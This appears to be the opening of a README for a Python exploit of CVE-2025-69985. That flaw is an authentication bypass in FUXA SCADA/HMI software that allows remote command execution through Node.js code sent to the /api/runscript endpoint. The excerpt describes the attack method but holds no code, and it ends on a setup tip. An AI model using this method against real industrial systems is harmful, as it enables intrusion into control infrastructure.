CVE-2025-69985: FUXA ≤1.2.8 Auth Bypass + RCE via /api/runscript
This Python exploit targets CVE-2025-69985, a critical authentication bypass vulnerability in FUXA (web-based SCADA/HMI software) versions ≤ 1.2.8. By sending a crafted JSON payload with embedded Node.js code to the unprotected /api/runscript endpoint, it achieves remote command execution as the FUXA process — capturing full stdout/stderr synchronously in the response.
[!NOTE] To ensure a clean and isolated environment for the project dependencies, it's recommended to use Python's
venvmodule.
